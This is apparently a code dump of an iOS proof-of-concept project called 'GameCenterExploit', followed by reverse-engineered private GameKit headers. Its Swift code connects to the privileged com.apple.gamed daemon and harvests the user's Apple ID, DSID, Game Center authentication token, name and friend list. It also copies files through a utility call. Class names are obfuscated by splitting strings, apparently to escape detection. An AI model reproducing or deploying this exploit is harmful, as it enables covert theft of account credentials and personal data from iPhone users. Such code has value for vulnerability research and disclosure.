friendServiceInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSClassFromString(["GKFri", "ndPlayerInternal"].joined(separator: "e")), NSClassFromString(["GKFami", "iarPlayerInternal"].joined(separator: "l")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("getFriendsForPlayer:handler:"), argumentIndex: 0, ofReply: true)
let interface = NSXPCInterface(with: GKDaemonProtocol.self)
let servicesSelector = NSSelectorFromString("getServicesForPID:localPlayer:reply:")
interface.setInterface(.init(with: GKAccountService.self), for: servicesSelector, argumentIndex: 0, ofReply: true)
interface.setInterface(profileServiceInterface, for: servicesSelector, argumentIndex: 1, ofReply: true)
interface.setInterface(friendServiceInterface, for: servicesSelector, argumentIndex: 2, ofReply: true)
interface.setInterface(.init(with: GKGameService.self), for: servicesSelector, argumentIndex: 3, ofReply: true)
interface.setInterface(.init(with: GKGameStatService.self), for: servicesSelector, argumentIndex: 4, ofReply: true)
interface.setInterface(.init(with: GKChallengeService.self), for: servicesSelector, argumentIndex: 5, ofReply: true)
interface.setInterface(.init(with: GKMultiplayerService.self), for: servicesSelector, argumentIndex: 6, ofReply: true)
interface.setInterface(.init(with: GKTurnBasedService.self), for: servicesSelector, argumentIndex: 7, ofReply: true)
interface.setInterface(.init(with: GKUtilityService.self), for: servicesSelector, argumentIndex: 8, ofReply: true)
interface.setInterface(.init(with: GKBulletinService.self), for: servicesSelector, argumentIndex: 9, ofReply: true)
interface.setInterface(.init(with: GKAnalyticsService.self), for: servicesSelector, argumentIndex: 10, ofReply: true)
interface.setInterface(.init(with: GKGameSessionService.self), for: servicesSelector, argumentIndex: 11, ofReply: true)
interface.setInterface(.init(with: GKTournamentService.self), for: servicesSelector, argumentIndex: 12, ofReply: true)
let privateServicesSelector = NSSelectorFromString("getPrivateServicesForPID:localPlayer:reply:")
interface.setInterface(.init(with: GKAccountServicePrivate.self), for: privateServicesSelector, argumentIndex: 0, ofReply: true)
interface.setInterface(.init(with: GKProfileServicePrivate.self), for: privateServicesSelector, argumentIndex: 1, ofReply: true)
interface.setInterface(.init(with: GKFriendServicePrivate.self), for: privateServicesSelector, argumentIndex: 2, ofReply: true)
interface.setInterface(.init(with: GKGameServicePrivate.self), for: privateServicesSelector, argumentIndex: 3, ofReply: true)
interface.setInterface(.init(with: GKGameStatServicePrivate.self), for: privateServicesSelector, argumentIndex: 4, ofReply: true)
interface.setInterface(.init(with: GKChallengeServicePrivate.self), for: privateServicesSelector, argumentIndex: 5, ofReply: true)
interface.setInterface(.init(with: GKMultiplayerServicePrivate.self), for: privateServicesSelector, argumentIndex: 6, ofReply: true)
interface.setInterface(.init(with: GKTurnBasedServicePrivate.self), for: privateServicesSelector, argumentIndex: 7, ofReply: true)
interface.setInterface(.init(with: GKUtilityServicePrivate.self), for: privateServicesSelector, argumentIndex: 8, ofReply: true)
interface.setInterface(.init(with: GKBulletinServicePrivate.self), for: privateServicesSelector, argumentIndex: 9, ofReply: true)
interface.setInterface(.init(with: GKAnalyticsServicePrivate.self), for: privateServicesSelector, argumentIndex: 10, ofReply: true)
interface.setInterface(.init(with: GKGameSessionServicePrivate.self), for: privateServicesSelector, argumentIndex: 11, ofReply: true)
interface.setInterface(.init(with: GKTournamentServicePrivate.self), for: privateServicesSelector, argumentIndex: 12, ofReply: true)
let clientInterface = NSXPCInterface(with: GKClientProtocol.self)
clientInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("authenticatedPlayersDidChange:reply:"), argumentIndex: 0, ofReply: false)
client = GamedClient()
connection = Dynamic.NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
connection.remoteObjectInterface = interface
connection.exportedInterface = clientInterface
connection.exportedObject = client
connection.resume()
let proxy = connection.remoteObjectProxyWithErrorHandler({ print($0) }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: {
(accountService, profileService, friendService, _, _, _, _, _, utilityService, _, _, _, _) in
proxy.getPrivateServices(forPID: pid, localPlayer: nil, reply: {
(_, _, _, _, _, _, _, _, _, _, _, _, _) in
accountService!.authenticatePlayerWithExistingCredentials(handler: { response, error in
if let response = response, let credential = response.credential {
handler("Apple ID", credential.accountName)
if let dsid = credential.dsid {
handler("DSID", dsid)
}
handler("altDSID", credential.altDSID)
handler("Game Center Authentication Token", credential.authenticationToken)
let player = credential.playerInternal!
handler("Player ID", player.playerID)
if player.gamePlayerID != "Unavailable Player Identification" {
handler("Game Player ID", player.gamePlayerID)
}
if player.teamPlayerID != "Unavailable Player Identification" {
handler("Team Player ID", player.teamPlayerID)
}
profileService!.getProfilesForPlayerIDs([player.playerID], handler: { profiles, error in
if let error = error {
print(error)
}
if let profile = profiles?.first as? NSObject {
if let alias = player.value(forKey: "alias") as? String {
handler("Nickname", alias)
}
if let firstName = profile.value(forKey: "firstName") as? String {
handler("First Name", firstName)
}
if let lastName = profile.value(forKey: "lastName") as? String {
handler("Last Name", lastName)
}
}
friendService!.getFriendsForPlayer(player, handler: { friends, error in
if let error = error {
print(error)
}
if let friends = friends {
for friend in friends {
if let friend = friend as? NSObject {
var components = [String]()
if let compositeName = friend.value(forKey: "compositeName") as? String {
components.append(compositeName)
}
if let alias = friend.value(forKey: "alias") as? String {
components.append(alias)
}
if let playerID = friend.value(forKey: "playerID") as? String {
components.append(playerID)
}
if !components.isEmpty {
handler("Friend", components.joined(separator: " | "))
}
}
}
}
})
})
} else if let error = error {
print(error)
}
var i = files.count
for file in files {
utilityService!.requestImageData(for: URL(fileURLWithPath: file, isDirectory: false), subdirectory: nil, fileName: nil, handler: { data in
if let data = data {
let path = documentsPath + "/" + file.components(separatedBy: "/").last!
do {
try data.write(to: URL(fileURLWithPath: path))
} catch {
print(error)
}
}
i -= 1
if i == 0 {
fileExtractionCompletion()
}
})
}
})
})
})
}
@objc class GamedClient: NSObject, GKClientProtocol {
func receivedChallengeSelected(_ arg1: GKChallengeInternal!) {
}
func resetNetworkActivity() {
}
func scoreSelected(_ arg1: GKScoreInternal!) {
}
func acceptMultiplayerGameInvite() {
}
func session(_ arg1: GKGameSession!, addedPlayer arg2: GKCloudPlayer!) {
}
func acceptInvite(withNotification arg1: Any!) {
}
func setLogBits(_ arg1: Int32) {
}
func cancelGameInvite(_ arg1: String!) {
}
func requestSandboxExtension(_ arg1: ((String?) -> Void)!) {
}
func beginNetworkActivity() {
}
func completedChallengeSelected(_ arg1: GKChallengeInternal!) {
}
func localPlayerAcceptedCustomTournamentInvite() {
}
func refreshContents(forDataType arg1: UInt32, userInfo arg2: Any!) {
}
func session(_ arg1: GKGameSession!, player arg2: GKCloudPlayer!, didChangeConnectionState arg3: Int64) {
}
func challengeReceived(_ arg1: GKChallengeInternal!) {
}
func session(_ arg1: GKGameSession!, removedPlayer arg2: GKCloudPlayer!) {
}
func didDisconnectFromParticipant(withID arg1: String!) {
}
func didConnectToParticipant(withID arg1: String!) {
}
func declineInvite(withNotification arg1: Any!) {
}
func responded(toNearbyInvite arg1: Any!) {
}
func setBadgeCount(_ arg1: UInt64, forType arg2: UInt64) {
}
func setPreferencesValues(_ arg1: Any!) {
}
//
// func friendRequestSelected(_ arg1: GKFriendRequestInternal!) {
//
// }
func relayPushNotification(_ arg1: Any!) {
}
func setCurrentGame(_ arg1: GKGameInternal!, serverEnvironment arg2: Int64, reply arg3: (() -> Void)!) {
arg3()
}
func endNetworkActivity() {
}
func challengeCompleted(_ arg1: GKChallengeInternal!) {
}
func achievementSelected(_ arg1: GKAchievementInternal!) {
}
func fetchTurnBasedData() {
}
func authenticatedPlayersDidChange(_ arg1: Any!, reply arg2: (() -> Void)!) {
arg2()
}
func completedOptimisticAuthentication(with arg1: GKAuthenticateResponse!, error arg2: Error!) {
}
func session(_ arg1: GKGameSession!, didReceiveMessage arg2: String!, with arg3: Data!, from arg4: GKCloudPlayer!) {
}
func didReceive(_ arg1: Data!, reliably arg2: Bool, forRecipients arg3: Any!, fromSender arg4: String!) {
}
func session(_ arg1: GKGameSession!, player arg2: GKCloudPlayer!, didSave arg3: Data!) {
}
func session(_ arg1: GKGameSession!, didReceive arg2: Data!, from arg3: GKCloudPlayer!) {
}
}

72
GameCenterExploit/GameCenterExploit-Bridging-Header.h

@ -0,0 +1,72 @@
//
// Use this file to import your target's public headers that you would like to expose to Swift.
//
#import <UIKit/UIKit.h>
#import "GKDaemonProtocol.h"
#import "GKAuthenticateResponse.h"
#import "GKPlayerCredential.h"
#import "GKPlayerInternal.h"
#import "GKInternalRepresentation.h"
#import "GKClientProtocol.h"
#import "GKGameInternal.h"
#import "GKStoreItemInternal.h"
#import "GKGameDescriptor.h"
#import "GKAccountService.h"
#import "GKAccountServicePrivate.h"
#import "GKAnalyticsService.h"
#import "GKAnalyticsServicePrivate.h"
#import "GKBulletinService.h"
#import "GKBulletinServicePrivate.h"
#import "GKChallengeService.h"
#import "GKChallengeServicePrivate.h"
#import "CKXPCShareDaemon.h"
#import "GKFriendService.h"
#import "GKFriendServicePrivate.h"
#import "GKGameService.h"
#import "GKGameServicePrivate.h"
#import "GKGameSessionService.h"
#import "GKGameSessionServicePrivate.h"
#import "GKGameStatService.h"
#import "GKGameStatServicePrivate.h"
#import "GKMultiplayerService.h"
#import "GKMultiplayerServicePrivate.h"
#import "GKProfileService.h"
#import "GKProfileServicePrivate.h"
#import "GKTournamentService.h"
#import "GKTournamentServicePrivate.h"
#import "GKTurnBasedService.h"
#import "GKTurnBasedServicePrivate.h"
#import "GKUtilityService.h"
#import "GKUtilityServicePrivate.h"
#import "GKAchievementInternal.h"
#import "GKChallengeInternal.h"
#import "GKConcernInternal.h"
#import "GKCustomTournamentRequestInternal.h"
#import "GKInviteInternal.h"
#import "GKLeaderboardEntryInternal.h"
#import "GKLeaderboardInternal.h"
#import "GKLeaderboardScoreRequest.h"
#import "GKLeaderboardSummaryInternal.h"
#import "GKMatchRequestInternal.h"
#import "GKMatchResponse.h"
#import "GKScoreInternal.h"
#import "GKTournamentDefinitionInternal.h"
#import "GKTournamentInternal.h"
#import "GKTournamentParticipantHistoricalDataInternal.h"
#import "GKTournamentParticipantInternal.h"
#import "GKTournamentParticipantRequestInternal.h"
#import "GKTurnBasedMatchInternal.h"
#import "GKDispatchGroup.h"
#import "GKRecurrenceRule.h"
#import "GKActivity.h"
#import "GKThreadsafeDictionary.h"
#import "GKFriendRequestInternal.h"
#import "GKFamiliarPlayerInternal.h"
#import "GKDaemonInterface.h"
#import "GKDaemonProxy.h"
#import "GKServiceInterface.h"
#import "GKServiceProxy.h"
#import "NSXPCConnection.h"
#import "GKClientInterface.h"
#import "GKLocalPlayerInternal.h"
#import "GKClientProtocolInterface.h"

12
GameCenterExploit/Headers/CKXPCShareDaemon.h

@ -0,0 +1,12 @@
@protocol CKXPCShareDaemon <NSObject>
@required
- (void)handleCloudKitShareMetadata:(CKShareMetadata *)arg1 completionHandler:(void (^)(NSError *))arg2;
@optional
- (oneway void)willAcceptShareAtURL:(NSURL *)arg1;
@end

22
GameCenterExploit/Headers/GKAccountService.h

@ -0,0 +1,22 @@
@class GKAuthenticateResponse;
@protocol GKAccountService <NSObject>
@required
- (oneway void)authenticatePlayerWithExistingCredentialsWithHandler:(void (^)(GKAuthenticateResponse *, NSError *))arg1;
- (oneway void)authenticationWasCancelled;
- (oneway void)fetchItemsForIdentityVerificationSignature:(void (^)(NSDictionary *, NSError *))arg1;
- (oneway void)generateIdentityVerificationSignatureWithCompletionHandler:(void (^)(NSDictionary *, NSError *))arg1;
- (oneway void)getLastPersonalizationVersionDisplayedForSignedInPlayerWithHandler:(void (^)(NSString *, NSError *))arg1;
- (oneway void)getLastPrivacyNoticeVersionDisplayedForSignedInPlayerWithHandler:(void (^)(unsigned long long, NSError *))arg1;
- (oneway void)getLastProfilePrivacyVersionDisplayedForSignedInPlayerWithHandler:(void (^)(NSString *, NSError *))arg1;
- (oneway void)resetCredentialsWithHandler:(void (^)(NSError *))arg1;
- (oneway void)setLastPersonalizationVersionDisplayedForSignedInPlayer:(NSString *)arg1;
- (oneway void)setLastPrivacyNoticeVersionDisplayedForSignedInPlayer:(unsigned long long)arg1;
- (oneway void)setLastProfilePrivacyVersionDisplayedForSignedInPlayer:(NSString *)arg1;
- (oneway void)signOutPlayerWithHandler:(void (^)(NSError *))arg1;
@end

21
GameCenterExploit/Headers/GKAccountServicePrivate.h

@ -0,0 +1,21 @@
#import "GKAccountService.h"
@protocol GKAccountServicePrivate <GKAccountService>
@required
- (oneway void)accountCreated:(NSString *)arg1 playerID:(NSString *)arg2 authenticationToken:(NSString *)arg3 alias:(NSString *)arg4 altDSID:(NSString *)arg5 finished:(bool)arg6 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg7;
- (oneway void)accountCreated:(NSString *)arg1 playerID:(NSString *)arg2 authenticationToken:(NSString *)arg3 alias:(NSString *)arg4 finished:(bool)arg5 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg6;
- (oneway void)accountEdited:(NSString *)arg1 alias:(NSString *)arg2 firstName:(NSString *)arg3 lastName:(NSString *)arg4 handler:(void (^)())arg5;
- (oneway void)authenticatePlayerWithUsername:(NSString *)arg1 password:(NSString *)arg2 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg3;
- (oneway void)authenticatePlayerWithUsername:(NSString *)arg1 password:(NSString *)arg2 rawPassword:(NSString *)arg3 altDSID:(NSString *)arg4 usingFastPath:(bool)arg5 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg6;
- (oneway void)authenticationCancelled;
- (oneway void)getAccountAuthTokenWithHandler:(void (^)(NSString *, NSError *))arg1;
- (oneway void)isICloudAvailableWithHandler:(void (^)(bool, NSError *))arg1;
- (oneway void)setLoginStatus:(unsigned long long)arg1 handler:(void (^)(NSError *))arg2;
- (oneway void)setupAccountForParameters:(NSDictionary *)arg1 handler:(void (^)(NSError *))arg2;
- (oneway void)validateAccountWithUsername:(NSString *)arg1 password:(NSString *)arg2 handler:(void (^)(GKAuthenticateResponse *, NSError *))arg3;
@end

77
GameCenterExploit/Headers/GKAchievementInternal.h

@ -0,0 +1,77 @@
@interface GKAchievementInternal : GKInternalRepresentation {
NSString * _achievedDescription;
union {
struct {
unsigned int _maximumPoints : 16;
unsigned int _hidden : 1;
unsigned int _replayable : 1;
unsigned int _reserved : 14;
} ;
unsigned int _value;
} _attributes;
NSString * _groupIdentifier;
NSDictionary * _icons;
NSString * _identifier;
NSDate * _lastReportedDate;
double _percentComplete;
GKPlayerInternal * _player;
NSString * _title;
NSString * _unachievedDescription;
}
@property (nonatomic, retain) NSString *achievedDescription;
@property (nonatomic) unsigned int attributes;
@property (getter=isCompleted, nonatomic, readonly) bool completed;
@property (nonatomic, retain) NSString *groupIdentifier;
@property (getter=isHidden, nonatomic) bool hidden;
@property (nonatomic, retain) NSDictionary *icons;
@property (nonatomic, retain) NSString *identifier;
@property (nonatomic, retain) NSDate *lastReportedDate;
@property (nonatomic) unsigned short maximumPoints;
@property (nonatomic) double percentComplete;
@property (nonatomic, retain) GKPlayerInternal *player;
@property (getter=isReplayable, nonatomic) bool replayable;
@property (nonatomic, retain) NSString *title;
@property (nonatomic, retain) NSString *unachievedDescription;
+ (id)secureCodedPropertyKeys;
+ (bool)supportsSecureCoding;
- (id)achievedDescription;
- (unsigned int)attributes;
- (void)dealloc;
- (id)descriptionSubstitutionMap;
- (void)encodeWithCoder:(id)arg1;
- (id)groupIdentifier;
- (unsigned long long)hash;
- (id)icons;
- (id)identifier;
- (id)initWithCoder:(id)arg1;
- (bool)isCompleted;
- (bool)isEqual:(id)arg1;
- (bool)isHidden;
- (bool)isReplayable;
- (id)lastReportedDate;
- (unsigned short)maximumPoints;
- (void)mergePropertiesFromDescription:(id)arg1;
- (double)percentComplete;
- (id)player;
- (id)serverRepresentation;
- (void)setAchievedDescription:(id)arg1;
- (void)setAttributes:(unsigned int)arg1;
- (void)setGroupIdentifier:(id)arg1;
- (void)setHidden:(bool)arg1;
- (void)setIcons:(id)arg1;
- (void)setIdentifier:(id)arg1;
- (void)setLastReportedDate:(id)arg1;
- (void)setMaximumPoints:(unsigned short)arg1;
- (void)setPercentComplete:(double)arg1;
- (void)setPlayer:(id)arg1;
- (void)setReplayable:(bool)arg1;
- (void)setTitle:(id)arg1;
- (void)setUnachievedDescription:(id)arg1;
- (id)title;
- (id)unachievedDescription;
@end

38
GameCenterExploit/Headers/GKActivity.h

@ -0,0 +1,38 @@
@import os.activity;
@interface GKActivity : NSObject {
os_activity_t _activity;
unsigned int _mode;
NSString * _name;
NSObject<OS_os_activity> * _parent;
}
@property (nonatomic, retain) NSObject<OS_os_activity> *activity;
@property (nonatomic) unsigned int mode;
@property (nonatomic, retain) NSString *name;
@property (nonatomic, retain) NSObject<OS_os_activity> *parent;
+ (id)activity;
+ (id)currentOrNew;
+ (id)detached;
+ (void)execute:(id /* block */)arg1;
+ (id)named:(id)arg1;
+ (void)named:(id)arg1 execute:(id /* block */)arg2;
- (id)activity;
- (id)child;
- (void)createActivity;
- (void)execute:(id /* block */)arg1;
- (id)initWithName:(id)arg1 parent:(id)arg2 mode:(unsigned int)arg3;
- (unsigned int)mode;
- (id)name;
- (id)named:(id)arg1;
- (void)named:(id)arg1 execute:(id /* block */)arg2;
- (id)parent;
- (void)setActivity:(id)arg1;
- (void)setMode:(unsigned int)arg1;
- (void)setName:(id)arg1;
- (void)setParent:(id)arg1;
@end

24
GameCenterExploit/Headers/GKAnalyticsService.h

@ -0,0 +1,24 @@
@class GKScoreInternal;
@protocol GKAnalyticsService <NSObject>
@required
- (void)acceptedInvite:(GKInviteInternal *)arg1;
- (void)acceptedInviteForTurnBasedMatch:(GKTurnBasedMatchInternal *)arg1;
- (void)completedChallenge:(GKChallengeInternal *)arg1;
- (void)declinedChallenge:(GKChallengeInternal *)arg1;
- (void)declinedInvite:(GKInviteInternal *)arg1;
- (void)declinedInviteForTurnBasedMatch:(GKTurnBasedMatchInternal *)arg1;
- (void)disconnectedMatchWithID:(NSString *)arg1;
- (void)postedScore:(GKScoreInternal *)arg1;
- (void)purchasedGame:(NSString *)arg1;
- (void)quitMatch:(GKTurnBasedMatchInternal *)arg1 withOutcome:(long long)arg2;
- (void)rematchedWithMatchRequest:(GKMatchRequestInternal *)arg1;
- (void)respondedToBulletin:(NSDictionary *)arg1;
- (void)sentMatchRequest:(GKMatchRequestInternal *)arg1;
- (void)updatedAchievement:(GKAchievementInternal *)arg1;
- (void)wantsToPlayChallenge:(GKChallengeInternal *)arg1;
@end

6
GameCenterExploit/Headers/GKAnalyticsServicePrivate.h

@ -0,0 +1,6 @@
#import "GKAnalyticsService.h"
@protocol GKAnalyticsServicePrivate <GKAnalyticsService>
@end

71
GameCenterExploit/Headers/GKAuthenticateResponse.h

@ -0,0 +1,71 @@
#import "GKInternalRepresentation.h"
@class GKPlayerCredential;
@interface GKAuthenticateResponse : GKInternalRepresentation {
bool _accessPointIsOnAutomatically;
long long _accessPointLocation;
bool _accessPointShowHighlights;
NSString * _alertMessage;
NSString * _alertTitle;
GKPlayerCredential * _credential;
NSString * _lastPersonalizationVersionDisplayed;
unsigned long long _lastPrivacyNoticeVersionDisplayed;
NSString * _lastProfilePrivacyVersionDisplayed;
bool _loginDisabled;
bool _passwordChangeRequired;
NSURL * _passwordChangeURL;
bool _shouldShowLinkAccountsUI;
bool _useNewDashboardUI;
}
@property (nonatomic) bool accessPointIsOnAutomatically;
@property (nonatomic) long long accessPointLocation;
@property (nonatomic) bool accessPointShowHighlights;
@property (nonatomic, retain) NSString *alertMessage;
@property (nonatomic, retain) NSString *alertTitle;
@property (nonatomic, retain) GKPlayerCredential *credential;
@property (nonatomic, retain) NSString *lastPersonalizationVersionDisplayed;
@property (nonatomic) unsigned long long lastPrivacyNoticeVersionDisplayed;
@property (nonatomic, retain) NSString *lastProfilePrivacyVersionDisplayed;
@property (nonatomic) bool loginDisabled;
@property (nonatomic) bool passwordChangeRequired;
@property (nonatomic, retain) NSURL *passwordChangeURL;
@property (nonatomic) bool shouldShowLinkAccountsUI;